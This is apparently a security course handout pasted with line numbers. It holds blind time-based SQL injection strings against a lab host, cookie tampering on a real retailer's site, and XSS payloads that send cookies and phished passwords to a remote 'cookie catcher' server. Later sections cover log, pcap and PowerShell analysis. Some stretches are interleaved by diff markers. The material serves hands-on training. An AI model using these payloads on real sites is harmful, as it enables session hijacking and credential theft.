Yup, it waited 10 seconds so we know the username is 'dbo' - let's give you the syntax to verify it just for fun.
1025
 
1026
---------------------------Type This-----------------------------------
1027
 
1028
D  - 1st Character
1029
http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=97) WAITFOR DELAY '00:00:10'--  
1030
http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=98) WAITFOR DELAY '00:00:10'--
1031
http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=99) WAITFOR DELAY '00:00:10'--
1032
http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=100) WAITFOR DELAY '00:00:10'--  (Ok, first letter is a 100 which is the letter 'd' - it waited 10 seconds)
1033
 
1034
B - 2nd Character
1035
http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),2,1)))>97) WAITFOR DELAY '00:00:10'--   Ok, good it waited for 10 seconds
1036
http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),2,1)))=98) WAITFOR DELAY '00:00:10'--   Ok, good it waited for 10 seconds
1037
 
1038
O - 3rd Character
1039
http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>97) WAITFOR DELAY '00:00:10'--   Ok, good it waited for 10 seconds
1040
http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>115) WAITFOR DELAY '00:00:10'--
1041
http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>105) WAITFOR DELAY '00:00:10'--      Ok, good it waited for 10 seconds
1042
http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>110) WAITFOR DELAY '00:00:10'--      Ok, good it waited for 10 seconds
1043
http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=109) WAITFOR DELAY '00:00:10'--
1044
http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=110) WAITFOR DELAY '00:00:10'--      
1045
http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=111) WAITFOR DELAY '00:00:10'--      Ok, good it waited for 10 seconds
1046
 
1047
-----------------------------------------------------------------------
1048
 
1049
 
1050
 
1051
 
1052
 
1053
 
1054
 
1055
################################
1056
# Playing with session cookies #
1057
################################
1058
 
1059
-----------------------------------------------------------------------
1060
Step 1: Browse to NewEgg.com
1061
-------------------------Paste this into Firefox-----------------------------------
1062
https://secure.newegg.com/
1063
----------------------------------------------------------------------------------
1064
 
1065
 
1066
Step 2: Browse to the shopping cart page NewEgg.com
1067
-------------------------Paste this into Firefox-----------------------------------
1068
https://secure.newegg.com/Shopping/ShoppingCart.aspx?Submit=view
1069
----------------------------------------------------------------------------------
1070
 
1071
 
1072
Step 3: View the current session ID
1073
-------------------------Paste this into Firefox-----------------------------------
1074
javascript:void(document.write(document.cookie))
1075
------------------------------------------------------------------------------------
1076
 
1077
Step 4: Go back to the shopping cart page (click the back button)
1078
---------------------------------------------------------------------------------
1079
https://secure.newegg.com/Shopping/ShoppingCart.aspx?Submit=view
1080
---------------------------------------------------------------------------------
1081
 
1082
 
1083
Step 5: Now let's modify the session ID
1084
-------------------------Paste this into Firefox-----------------------------------
1085
javascript:void(document.cookie="PHPSessionID=wow-this-is-fun")
1086
------------------------------------------------------------------------------------
1087
 
1088
 
1089
 
1090
Step 6: Go back to the shopping cart page (click the back button)
1091
---------------------------------------------------------------------------------
1092
https://secure.newegg.com/Shopping/ShoppingCart.aspx?Submit=view
1093
---------------------------------------------------------------------------------
1094
 
1095
 
1096
 
1097
Step 7: View the current session ID
1098
-------------------------Paste this into Firefox-----------------------------------
1099
javascript:void(document.write(document.cookie))
1100
------------------------------------------------------------------------------------
1101
 
1102
-----------------------------------------------------------------------
1103
 
1104
###########################################
1105
# What is XSS                             #
1106
# http://45.63.104.73/2-Intro_To_XSS.pptx #
1107
###########################################
1108
 
1109
OK - what is Cross Site Scripting (XSS)
1110
 
1111
1. Use Firefox to browse to the following location:
1112
---------------------------Type This-----------------------------------
1113
 
1114
   http://45.63.104.73/xss_practice/
1115
-----------------------------------------------------------------------
1116
 
1117
   A really simple search page that is vulnerable should come up.
1118
 
1119
 
1120
 
1121
 
1122
2. In the search box type:
1123
---------------------------Type This-----------------------------------
1124
 
1125
   <script>alert('So this is XSS')</script>
1126
-----------------------------------------------------------------------
1127
 
1128
 
1129
   This should pop-up an alert window with your message in it proving XSS is in fact possible.
1130
   Ok, click OK and then click back and go back to http://45.63.104.73/xss_practice/
1131
 
1132
 
1133
3. In the search box type:
1134
---------------------------Type This-----------------------------------
1135
 
1136
   <script>alert(document.cookie)</script>
1137
-----------------------------------------------------------------------
1138
 
1139
 
1140
   This should pop-up an alert window with your message in it proving XSS is in fact possible and your cookie can be accessed.
1141
   Ok, click OK and then click back and go back to http://45.63.104.73/xss_practice/
1142
 
1143
4. Now replace that alert script with:
1144
---------------------------Type This-----------------------------------
1145
 
1146
   <script>document.location="http://45.63.104.73/xss_practice/cookie_catcher.php?c="+document.cookie</script>
1147
-----------------------------------------------------------------------
1148
 
1149
 
1150
This will actually pass your cookie to the cookie catcher that we have sitting on the webserver.
1151
 
1152
 
1153
5. Now view the stolen cookie at:
1154
---------------------------Type This-----------------------------------
1155
 
1156
   http://45.63.104.73/xss_practice/cookie_stealer_logs.html
1157
-----------------------------------------------------------------------
1158
 
1159
 
1160
The cookie catcher writes to this file and all we have to do is make sure that it has permissions to be written to.
1161
 
1162
 
1163
 
1164
 
1165
 
1166
 
1167
############################
1168
# A Better Way To Demo XSS #
1169
############################
1170
 
1171
 
1172
Let's take this to the next level. We can modify this attack to include some username/password collection. Paste all of this into the search box.
1173
 
1174
 
1175
Use Firefox to browse to the following location:
1176
---------------------------Type This-----------------------------------
1177
 
1178
   http://45.63.104.73/xss_practice/
1179
-----------------------------------------------------------------------
1180
 
1181
 
1182
 
1183
Paste this in the search box
1184
----------------------------
1185
 
1186
 
1187
---------------------------Type This-----------------------------------
1188
 
1189
<script>
1190
password=prompt('Your session is expired. Please enter your password to continue',' ');
1191
document.write("<img src=\"http://45.63.104.73/xss_practice/passwordgrabber.php?password=" +password+"\">");
1192
</script>
1193
-----------------------------------------------------------------------
1194
 
1195
 
1196
Now view the stolen cookie at:
1197
---------------------------Type This-----------------------------------
1198
 
1199
   http://45.63.104.73/xss_practice/passwords.html
1200
 
1201
-----------------------------------------------------------------------
1202
1203
###############################################################
1204
# Question 1: What is the process that you use when you test? #
1205
###############################################################
1206
 
1207
Step 1: Automated Testing
1208
 
1209
Step 1a: Web Application vulnerability scanners
1210
-----------------------------------------------
1211
- Run two (2) unauthenticated vulnerability scans against the target
1212
- Run two (2) authenticated vulnerability scans against the target with low-level user credentials
1213
- Run two (2) authenticated vulnerability scans against the target with admin privileges
1214
 
1215
The web application vulnerability scanners that I use for this process are (HP Web Inspect, and Acunetix).
1216
 
1217
A good web application vulnerability scanner comparison website is here:
1218
http://sectoolmarket.com/price-and-feature-comparison-of-web-application-scanners-unified-list.html
1219
 
1220
 
1221
Look to see if there are cases where both scanners identify the same vulnerability. Investigate these cases thoroughly, ensure that it is NOT a false positive, and report the issue.
1222
 
1223
When you run into cases where one (1) scanner identifies a vulnerability that the other scanner does not you should still investigate these cases thoroughly, ensure that it is NOT a false positive, and report the issue.
1224
 
1225
 
1226
Be sure to look for scans that take more than 3 or 4 hours as your scanner may have lost its active session and is probably not actually finding real vulnerabilities anymore.
1227
 
1228
 
1229
Also, be sure to save the scan results and logs. I usually provide this data to the customer.
1230
 
1231
 
1232
 
1233
Step 1b: Directory Brute Forcer
1234
-------------------------------
1235
I like to run DirBuster or a similar tool. This is great to find hidden gems (backups of the website, information leakage, unreferenced files, dev sites, etc).
1236
 
1237
 
1238
 
1239
Step 2: Manual Testing
1240
 
1241
Try to do this step while your automated scans are running. Use Burp Suite or the Tamper Data Firefox extension to browse EVERY PAGE of the website (if this is realistic).
1242
 
1243
Step 2a: Spider/Scan the entire site with Burp Suite
1244
Save the spider and scan results. I usually provide this data to the customer as well.
1245
 
1246
 
1247
Step 2b: Browse through the site using the 3 question method
1248
Have Burp Suite on with intercept turned off. Browse the website using the 3 question method that I've taught you in the past. When you find a place in the site where the answer to one of the 3 questions is yes - be sure to look at that individual web request in the target section of Burp Suite, right-click on that particular request and choose 'Send to Intruder'.
1249
 
1250
Take the appropriate fuzz list from https://github.com/fuzzdb-project/fuzzdb/ and load it into Intruder. A quick tip for each individual payload is to be sure to send the payload both with and without the parameter value.
1251
 
1252
Here is what I mean:
1253
http://www.site.com/page.aspx?parametername=parametervalue
1254
 
1255
When you are looking at an individual request - often times Burp Suite will insert the payload in place of the parameter value like this:
1256
 
1257
http://www.site.com/page.aspx?parametername=[ payload ]
1258
 
1259
You need to ensure that you send the payload this way, and like this below:
1260
 
1261
http://www.site.com/page.aspx?parametername=parametervalue[ payload ]
1262
 
1263
This little hint will pay huge dividends in actually EXPLOITING the vulnerabilities you find instead of just identifying them.
1264
 
1265
 
1266
 
1267
 
1268
 
1269
 
1270
 
1271
###########################################
1272
# Question 2: How much fuzzing is enough? #
1273
###########################################
1274
There really is no exact science for determining the correct amount of fuzzing per parameter to do before moving on to something else.
1275
 
1276
Here are the steps that I follow when I'm testing (my mental decision tree) to figure out how much fuzzing to do.
1277
 
1278
 
1279
Step 1: Ask yourself the 3 questions per page of the site.
1280
 
1281
Step 2: If the answer is yes, then go down that particular attack path with a few fuzz strings (I usually do 10-20 fuzz strings per parameter)
1282
 
1283
Step 3: When you load your fuzz strings - use the following decision tree
1284
 
1285
    - Are the fuzz strings causing a default error message (example 404)?
1286
        - If this is the case then it is most likely NOT vulnerable
1287
 
1288
    - Are the fuzz strings causing a WAF or LB custom error message?
1289
        - If this is the case then you need to find an encoding method to bypass
1290
 
1291
 
1292
    - Are the fuzz strings causing an error message that discloses the backend type?
1293
        - If yes, then identify DB type and find correct syntax to successfully exploit
1294
        - Some example strings that I use are:
1295
            '
1296
            "
1297
            ()          <----- Take the parameter value and put it in parenthesis
1298
            (5-1)       <----- See if you can perform an arithmetic function
1299
 
1300
 
1301
    - Are the fuzz strings rendering executable code?
1302
        - If yes, then report XSS/CSRF/Response Splitting/Request Smuggling/etc
1303
        - Some example strings that I use are:
1304
            <b>hello</b>
1305
            <u>hello</u>
1306
            <script>alert(123);</script>
1307
            <script>alert(xss);</script>
1308
            <script>alert('xss');</script>
1309
            <script>alert("xss");</script>
1310
 
1311
 
1312
 
1313
#######################
1314
# Bug Bounty Programs #
1315
#######################
1316
https://medium.com/bugbountywriteup/bug-bounty-hunting-methodology-toolkit-tips-tricks-blogs-ef6542301c65
1317
 
1318
 
1319
############################
1320
# Bug Hunter's Methodology #
1321
############################
1322
https://www.youtube.com/watch?v=C4ZHAdI8o1w
1323
https://www.youtube.com/watch?v=-FAjxUOKbdI
1324
1325
1326
1327
##############################################
1328
# Log Analysis with Linux command-line tools #
1329
##############################################
1330
The following command line executables are found in the Mac as well as most Linux Distributions.
1331
 
1332
cat –  prints the content of a file in the terminal window
1333
grep – searches and filters based on patterns
1334
awk –  can sort each row into fields and display only what is needed
1335
sed –  performs find and replace functions
1336
sort – arranges output in an order
1337
uniq – compares adjacent lines and can report, filter or provide a count of duplicates
1338
 
1339
 
1340
##############
1341
# Cisco Logs #
1342
##############
1343
 
1344
-----------------------------Type this-----------------------------------------
1345
wget http://45.63.104.73/cisco.log
1346
-------------------------------------------------------------------------------
1347
 
1348
AWK Basics
1349
----------
1350
To quickly demonstrate the print feature in awk, we can instruct it to show only the 5th word of each line. Here we will print $5. Only the last 4 lines are being shown for brevity.
1351
 
1352
-----------------------------Type this-----------------------------------------
1353
cat cisco.log | awk '{print $5}' | tail -n 4
1354
-------------------------------------------------------------------------------
1355
 
1356
 
1357
 
1358
Looking at a large file would still produce a large amount of output. A more useful thing to do might be to output every entry found in “$5”, group them together, count them, then sort them from the greatest to least number of occurrences. This can be done by piping the output through “sort“, using “uniq -c” to count the like entries, then using “sort -rn” to sort it in reverse order.
1359
 
1360
-----------------------------Type this-----------------------------------------
1361
cat cisco.log | awk '{print $5}'| sort | uniq -c | sort -rn
1362
-------------------------------------------------------------------------------
1363
 
1364
 
1365
 
1366
While that’s sort of cool, it is obvious that we have some garbage in our output. Evidently we have a few lines that aren’t conforming to the output we expect to see in $5. We can insert grep to filter the file prior to feeding it to awk. This insures that we are at least looking at lines of text that contain “facility-level-mnemonic”.
1367
 
1368
-----------------------------Type this-----------------------------------------
1369
cat cisco.log | grep %[a-zA-Z]*-[0-9]-[a-zA-Z]* | awk '{print $5}' | sort | uniq -c | sort -rn
1370
-------------------------------------------------------------------------------
1371
 
1372
 
1373
 
1374
 
1375
Now that the output is cleaned up a bit, it is a good time to investigate some of the entries that appear most often. One way to see all occurrences is to use grep.
1376
 
1377
-----------------------------Type this-----------------------------------------
1378
cat cisco.log | grep %LINEPROTO-5-UPDOWN:
1379
 
1380
cat cisco.log | grep %LINEPROTO-5-UPDOWN:| awk '{print $10}' | sort | uniq -c | sort -rn
1381
 
1382
cat cisco.log | grep %LINEPROTO-5-UPDOWN:| sed 's/,//g' | awk '{print $10}' | sort | uniq -c | sort -rn
1383
 
1384
cat cisco.log | grep %LINEPROTO-5-UPDOWN:| sed 's/,//g' | awk '{print $10 " changed to " $14}' | sort | uniq -c | sort -rn
1385
--------------------------------------------------------------------------------
1386
1387
1388
##################################################################
1389
# Analyzing a PCAP Prads                                         #
1390
# Note: run as regular user                                      #
1391
##################################################################
1392
 
1393
---------------------------Type this as a regular user----------------------------------
1394
cd ~
1395
 
1396
cd ~/pcap_analysis/prads
1397
 
1398
wget http://45.63.104.73/suspicious-time.pcap
1399
 
1400
prads -r suspicious-time.pcap -l prads-asset.log
1401
 
1402
cat prads-asset.log | less
1403
 
1404
cat prads-asset.log | grep SYN | grep -iE 'windows|linux'
1405
 
1406
cat prads-asset.log | grep CLIENT | grep -iE 'safari|firefox|opera|chrome'
1407
 
1408
cat prads-asset.log | grep SERVER | grep -iE 'apache|linux|ubuntu|nginx|iis'
1409
-----------------------------------------------------------------------
1410
 
1411
 
1412
 
1413
 
1414
##################################
1415
# PCAP Analysis with ChaosReader #
1416
# Note: run as regular user      #
1417
##################################
1418
---------------------------Type this as a regular user----------------------------------
1419
cd ~
1420
 
1421
cd ~/pcap_analysis/chaos_reader/
1422
 
1423
wget http://45.63.104.73/suspicious-time.pcap
1424
 
1425
wget http://45.63.104.73/chaosreader.pl
1426
 
1427
perl chaosreader.pl suspicious-time.pcap
1428
 
1429
cat index.text | grep -v '"' | grep -oE "([0-9]+\.){3}[0-9]+.*\)"
1430
 
1431
cat index.text | grep -v '"' | grep -oE "([0-9]+\.){3}[0-9]+.*\)" | awk '{print $4, $5, $6}' | sort | uniq -c | sort -nr
1432
 
1433
 
1434
for i in session_00[0-9]*.http.html; do srcip=`cat "$i" | grep 'http:\ ' | awk '{print $2}' |  cut -d ':' -f1`; dstip=`cat "$i" | grep 'http:\ ' | awk '{print $4}' |  cut -d ':' -f1`; host=`cat "$i" | grep 'Host:\ ' | sort -u | sed -e 's/Host:\ //g'`; echo "$srcip --> $dstip = $host";  done | sort -u
1435
 
1436
python -m SimpleHTTPServer    
1437
          ****** Open a web browser and browse the the IP address of your Linux machine port 8000 for the web page *****
1438
 
1439
------------------------------------------------------------------------
1440
 
1441
 
1442
 
1443
 
1444
 
1445
 
1446-
# PCAP Analysis with tshark #
1446+
1447-
# Note: run as regular user #
1447+
If you are interested in running PowerShell on Mac OS X, or Linux you can check out the following link:
1448
https://www.howtogeek.com/267858/how-to-install-microsoft-powershell-on-linux-or-os-x/
1449-
---------------------------Type this as a regular user---------------------------------
1449+
1450-
cd ~/pcap_analysis/tshark
1450+
#####################
1451
# Powershell Basics #
1452
#####################
1453
 
1454-
tshark -i ens3 -r suspicious-time.pcap -qz io,phs
1454+
PowerShell is Microsoft's new scripting language that has been built in since the release Vista.
1455
 
1456-
tshark -r suspicious-time.pcap -qz ip_hosts,tree
1456+
PowerShell file extension end in .ps1 .
1457
 
1458-
tshark -r suspicious-time.pcap -Y "http.request" -Tfields -e "ip.src" -e "http.user_agent" | uniq
1458+
An important note is that you cannot double click on a PowerShell script to execute it.
1459
 
1460-
tshark -r suspicious-time.pcap -Y "dns" -T fields -e "ip.src" -e "dns.flags.response" -e "dns.qry.name"
1460+
To open a PowerShell command prompt either hit Windows Key + R and type in PowerShell or Start -> All Programs -> Accessories -> Windows PowerShell -> Windows PowerShell. Make sure that you run it as an administrator
1461
 
1462
------------------------Type This------------------------------
1463-
tshark -r suspicious-time.pcap -Y http.request  -T fields -e ip.src -e ip.dst -e http.host -e http.request.uri | awk '{print $1," -> ",$2, "\t: ","http://"$3$4}'
1463+
cd c:\
1464
dir
1465-
whois rapidshare.com.eyu32.ru
1465+
cd
1466
ls
1467-
whois sploitme.com.cn
1467+
---------------------------------------------------------------
1468
 
1469-
tshark -r suspicious-time.pcap -Y http.request  -T fields -e ip.src -e ip.dst -e http.host -e http.request.uri | awk '{print $1," -> ",$2, "\t: ","http://"$3$4}' | grep -v -e '\/image' -e '.css' -e '.ico' -e google -e 'honeynet.org'
1469+
1470
To obtain a list of cmdlets, use the Get-Command cmdlet
1471-
tshark -r suspicious-time.pcap -qz http_req,tree
1471+
------------------------Type This------------------------------
1472
Get-Command
1473-
tshark -r suspicious-time.pcap -Y "data-text-lines contains \"<script\"" -T fields -e frame.number -e ip.src -e ip.dst
1473+
---------------------------------------------------------------
1474
 
1475-
tshark -r suspicious-time.pcap -Y http.request  -T fields -e ip.src -e ip.dst -e http.host -e http.request.uri | awk '{print $1," -> ",$2, "\t: ","http://"$3$4}' | grep -v -e '\/image' -e '.css' -e '.ico'  | grep 10.0.3.15 | sed -e 's/\?[^cse].*/\?\.\.\./g'
1475+
1476-
------------------------------------------------------------------------
1476+
You can use the Get-Alias cmdlet to see a full list of aliased commands.
1477
------------------------Type This------------------------------
1478
Get-Alias
1479
---------------------------------------------------------------
1480
 
1481
 
1482
Don't worry you won't blow up your machine with Powershell
1483
------------------------Type This------------------------------
1484
Get-Process | stop-process              Don't press [ ENTER ] What will this command do?
1485
Get-Process | stop-process -whatif
1486
---------------------------------------------------------------
1487
 
1488
To get help with a cmdlet, use the Get-Help cmdlet along with the cmdlet you want information about.
1489
------------------------Type This------------------------------
1490
Get-Help Get-Command
1491
 
1492
Get-Help Get-Service –online
1493
 
1494
Get-Service -Name TermService, Spooler
1495
 
1496
Get-Service –N BITS
1497
---------------------------------------------------------------
1498
 
1499
 
1500
 
1501
 
1502
 
1503
- Run cmdlet through a pie and refer to its properties as $_
1504
------------------------Type This------------------------------
1505
Get-Service | where-object {  $_.Status -eq "Running"}
1506
---------------------------------------------------------------
1507
 
1508
 
1509
 
1510
- PowerShell variables begin with the $ symbol. First lets create a variable
1511
------------------------Type This------------------------------
1512
$serv = Get-Service –N Spooler
1513
---------------------------------------------------------------
1514
 
1515
To see the value of a variable you can just call it in the terminal.
1516
------------------------Type This------------------------------
1517
$serv
1518
 
1519
$serv.gettype().fullname
1520
---------------------------------------------------------------
1521
 
1522
 
1523
Get-Member is another extremely useful cmdlet that will enumerate the available methods and properties of an object. You can pipe the object to Get-Member or pass it in
1524
------------------------Type This------------------------------
1525
$serv | Get-Member
1526
 
1527
Get-Member -InputObject $serv
1528
---------------------------------------------------------------
1529
 
1530
 
1531
 
1532
 
1533
Let's use a method and a property with our object.
1534
------------------------Type This------------------------------
1535
$serv.Status
1536
$serv.Stop()
1537
$serv.Refresh()
1538
$serv.Status
1539
$serv.Start()
1540
$serv.Refresh()
1541
$serv.Status
1542
---------------------------------------------------------------
1543
 
1544
 
1545
If you want some good command-line shortcuts you can check out the following link:
1546
https://technet.microsoft.com/en-us/library/ff678293.aspx
1547
 
1548
#############################
1549
# Simple Event Log Analysis #
1550
#############################
1551
Let's setup a directory to work in:
1552
------------------------Type This------------------------------
1553
cd c:\
1554
 
1555
mkdir ps
1556
 
1557
cd ps
1558
---------------------------------------------------------------
1559
 
1560
Step 1: Dump the event logs
1561
---------------------------
1562
The first thing to do is to dump them into a format that facilitates later processing with Windows PowerShell.
1563
 
1564
To dump the event log, you can use the Get-EventLog and the Exportto-Clixml cmdlets if you are working with a traditional event log such as the Security, Application, or System event logs.
1565
If you need to work with one of the trace logs, use the Get-WinEvent and the ExportTo-Clixml cmdlets.
1566
------------------------Type This------------------------------
1567
Get-EventLog -LogName application | Export-Clixml Applog.xml
1568
 
1569
type .\Applog.xml
1570
 
1571
$logs = "system","application","security"
1572
---------------------------------------------------------------
1573
 
1574
 
1575
The % symbol is an alias for the Foreach-Object cmdlet. It is often used when working interactively from the Windows PowerShell console
1576
------------------------Type This------------------------------
1577
$logs | % { get-eventlog -LogName $_ | Export-Clixml "$_.xml" }
1578
---------------------------------------------------------------
1579
 
1580
 
1581
 
1582
 
1583
Step 2: Import the event log of interest
1584
----------------------------------------
1585
To parse the event logs, use the Import-Clixml cmdlet to read the stored XML files.
1586
Store the results in a variable.
1587
Let's take a look at the commandlets Where-Object, Group-Object, and Select-Object.
1588
 
1589
The following two commands first read the exported security log contents into a variable named $seclog, and then the five oldest entries are obtained.
1590
------------------------Type This------------------------------
1591
$seclog = Import-Clixml security.xml
1592
 
1593
$seclog | select -Last 5
1594
---------------------------------------------------------------
1595
 
1596
Cool trick from one of our students named Adam. This command allows you to look at the logs for the last 24 hours:
1597
------------------------Type This------------------------------
1598
Get-EventLog Application -After (Get-Date).AddDays(-1)
1599
---------------------------------------------------------------
1600
You can use '-after' and '-before' to filter date ranges
1601
 
1602
One thing you must keep in mind is that once you export the security log to XML, it is no longer protected by anything more than the NFTS and share permissions that are assigned to the location where you store everything.
1603
By default, an ordinary user does not have permission to read the security log.
1604
 
1605
1606
I had another student ask me if we can go back in hours instead of days and the answer is yes.
1607
------------------------Type This------------------------------
1608
Get-EventLog Application -After (Get-Date).AddHours(-1)
1609
---------------------------------------------------------------
1610
 
1611
 
1612
 
1613
Step 3: Drill into a specific entry
1614
-----------------------------------
1615
To view the entire contents of a specific event log entry, choose that entry, send the results to the Format-List cmdlet, and choose all of the properties.
1616
 
1617
------------------------Type This------------------------------
1618
$seclog | select -first 1 | fl *
1619
---------------------------------------------------------------
1620
 
1621
The message property contains the SID, account name, user domain, and privileges that are assigned for the new login.
1622
 
1623
------------------------Type This------------------------------
1624
($seclog | select -first 1).message
1625
 
1626
(($seclog | select -first 1).message).gettype()
1627
---------------------------------------------------------------
1628
 
1629
 
1630
In the *nix world you often want a count of something (wc -l).
1631
How often is the SeSecurityPrivilege privilege mentioned in the message property?
1632
To obtain this information, pipe the contents of the security log to a Where-Object to filter the events, and then send the results to the Measure-Object cmdlet to determine the number of events:
1633
------------------------Type This------------------------------
1634
$seclog | ? { $_.message -match 'SeSecurityPrivilege'} | measure
1635
---------------------------------------------------------------
1636
If you want to ensure that only event log entries return that contain SeSecurityPrivilege in their text, use Group-Object to gather the matches by the EventID property.
1637
 
1638
------------------------Type This------------------------------
1639
$seclog | ? { $_.message -match 'SeSecurityPrivilege'} | group eventid
1640
---------------------------------------------------------------
1641
 
1642
Because importing the event log into a variable from the stored XML results in a collection of event log entries, it means that the count property is also present.
1643
Use the count property to determine the total number of entries in the event log.
1644
------------------------Type This------------------------------
1645
$seclog.Count
1646
---------------------------------------------------------------
1647
 
1648
 
1649
 
1650
 
1651
 
1652
############################
1653
# Simple Log File Analysis #
1654
############################
1655
 
1656
 
1657
You'll need to create the directory c:\ps and download sample iss log http://pastebin.com/raw.php?i=LBn64cyA
1658
 
1659
------------------------Type This------------------------------
1660
cd c:\ps
1661
(new-object System.Net.WebClient).DownloadFile("http://pastebin.com/raw.php?i=LBn64cyA", "c:\ps\u_ex1104.log")
1662
(new-object System.Net.WebClient).DownloadFile("http://pastebin.com/raw.php?i=ysnhXxTV", "c:\ps\CiscoLogFileExamples.txt")
1663
Select-String 192.168.208.63 .\CiscoLogFileExamples.txt
1664
---------------------------------------------------------------
1665
 
1666
 
1667
 
1668
The Select-String cmdlet searches for text and text patterns in input strings and files. You can use it like Grep in UNIX and Findstr in Windows.
1669
------------------------Type This------------------------------
1670
Select-String 192.168.208.63 .\CiscoLogFileExamples.txt | select line
1671
---------------------------------------------------------------
1672
 
1673
 
1674
 
1675
To see how many connections are made when analyzing a single host, the output from that can be piped to another command: Measure-Object.
1676
------------------------Type This------------------------------
1677
Select-String 192.168.208.63 .\CiscoLogFileExamples.txt | select line | Measure-Object
1678
---------------------------------------------------------------
1679
 
1680
 
1681
To select all IP addresses in the file expand the matches property, select the value, get unique values and measure the output.
1682
------------------------Type This------------------------------
1683
Select-String "\b(?:\d{1,3}\.){3}\d{1,3}\b" .\CiscoLogFileExamples.txt | select -ExpandProperty matches | select -ExpandProperty value | Sort-Object -Unique | Measure-Object
1684
---------------------------------------------------------------
1685
 
1686
 
1687
Removing Measure-Object shows all the individual IPs instead of just the count of the IP addresses. The Measure-Object command counts the IP addresses.
1688
------------------------Type This------------------------------
1689
Select-String "\b(?:\d{1,3}\.){3}\d{1,3}\b" .\CiscoLogFileExamples.txt | select -ExpandProperty matches | select -ExpandProperty value | Sort-Object -Unique
1690
---------------------------------------------------------------
1691
 
1692
In order to determine which IP addresses have the most communication the last commands are removed to determine the value of the matches. Then the group command is issued on the piped output to group all the IP addresses (value), and then sort the objects by using the alias for Sort-Object: sort count –des.
1693
This sorts the IP addresses in a descending pattern as well as count and deliver the output to the shell.
1694
------------------------Type This------------------------------
1695
Select-String "\b(?:\d{1,3}\.){3}\d{1,3}\b" .\CiscoLogFileExamples.txt | select -ExpandProperty matches | select value | group value | sort count -des
1696
---------------------------------------------------------------
1697
 
1698
 
1699
 
1700
##############################################
1701
# Parsing Log files using windows PowerShell #
1702
##############################################
1703
 
1704
Download the sample IIS log http://pastebin.com/LBn64cyA
1705
 
1706
------------------------Type This------------------------------
1707
(new-object System.Net.WebClient).DownloadFile("http://pastebin.com/raw.php?i=LBn64cyA", "c:\ps\u_ex1104.log")
1708
 
1709
Get-Content ".\*log" | ? { ($_ | Select-String "WebDAV")}  
1710
---------------------------------------------------------------
1711
 
1712
 
1713
The above command would give us all the WebDAV requests.
1714
 
1715
To filter this to a particular user name, use the below command:
1716
------------------------Type This------------------------------
1717
Get-Content ".\*log" | ? { ($_ | Select-String "WebDAV") -and ($_ | Select-String "OPTIONS")}  
1718
---------------------------------------------------------------
1719
 
1720
 
1721
Some more options that will be more commonly required :
1722
 
1723
For Outlook Web Access : Replace WebDAV with OWA
1724
 
1725
For EAS : Replace WebDAV with Microsoft-server-activesync
1726
 
1727
For ECP : Replace WebDAV with ECP
1728
 
1729
 
1730
 
1731
 
1732
 
1733
 
1734
 
1735
####################################################################
1736
# Windows PowerShell: Extracting Strings Using Regular Expressions #
1737
####################################################################
1738
 
1739
 
1740
Regex Characters you might run into:
1741
 
1742
^   Start of string, or start of line in a multiline pattern
1743
$   End  of string, or start of line in a multiline pattern
1744
\b  Word boundary
1745
\d  Digit
1746
\   Escape the following character
1747
*   0 or more   {3} Exactly 3
1748
+   1 or more   {3,}    3 or more
1749
?   0 or 1      {3,5}   3, 4 or 5
1750
 
1751
 
1752
 
1753
To build a script that will extract data from a text file and place the extracted text into another file, we need three main elements:
1754
 
1755
1) The input file that will be parsed
1756
------------------------Type This------------------------------
1757
(new-object System.Net.WebClient).DownloadFile("http://pastebin.com/raw.php?i=rDN3CMLc", "c:\ps\emails.txt")
1758
(new-object System.Net.WebClient).DownloadFile("http://pastebin.com/raw.php?i=XySD8Mi2", "c:\ps\ip_addresses.txt")
1759
(new-object System.Net.WebClient).DownloadFile("http://pastebin.com/raw.php?i=v5Yq66sH", "c:\ps\URL_addresses.txt")
1760
---------------------------------------------------------------
1761
2) The regular expression that the input file will be compared against
1762
 
1763
3) The output file for where the extracted data will be placed.
1764
 
1765
Windows PowerShell has a "select-string" cmdlet which can be used to quickly scan a file to see if a certain string value exists.
1766
Using some of the parameters of this cmdlet, we are able to search through a file to see whether any strings match a certain pattern, and then output the results to a separate file.
1767
 
1768
To demonstrate this concept, below is a Windows PowerShell script I created to search through a text file for strings that match the Regular Expression (or RegEx for short) pattern belonging to e-mail addresses.
1769
------------------------Type This------------------------------
1770
$input_path = 'c:\ps\emails.txt'
1771
$output_file = 'c:\ps\extracted_addresses.txt'
1772
$regex = '\b[A-Za-z0-9._%-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,4}\b'
1773
select-string -Path $input_path -Pattern $regex -AllMatches | % { $_.Matches } | % { $_.Value } > $output_file
1774
---------------------------------------------------------------
1775
 
1776
 
1777
In this script, we have the following variables:
1778
 
1779
1) $input_path to hold the path to the input file we want to parse
1780
 
1781
2) $output_file to hold the path to the file we want the results to be stored in
1782
 
1783
3) $regex to hold the regular expression pattern to be used when the strings are being matched.
1784
 
1785
The select-string cmdlet contains various parameters as follows:
1786
 
1787
1) "-Path" which takes as input the full path to the input file
1788
 
1789
2) "-Pattern" which takes as input the regular expression used in the matching process
1790
 
1791
3) "-AllMatches" which searches for more than one match (without this parameter it would stop after the first match is found) and is piped to "$.Matches" and then "$_.Value" which represent using the current values of all the matches.
1792
 
1793
Using ">" the results are written to the destination specified in the $output_file variable.
1794
 
1795
Here are two further examples of this script which incorporate a regular expression for extracting IP addresses and URLs.
1796
 
1797
IP addresses
1798
------------
1799
For the purposes of this example, I ran the tracert command to trace the route from my host to google.com and saved the results into a file called ip_addresses.txt. You may choose to use this script for extracting IP addresses from router logs, firewall logs, debug logs, etc.
1800
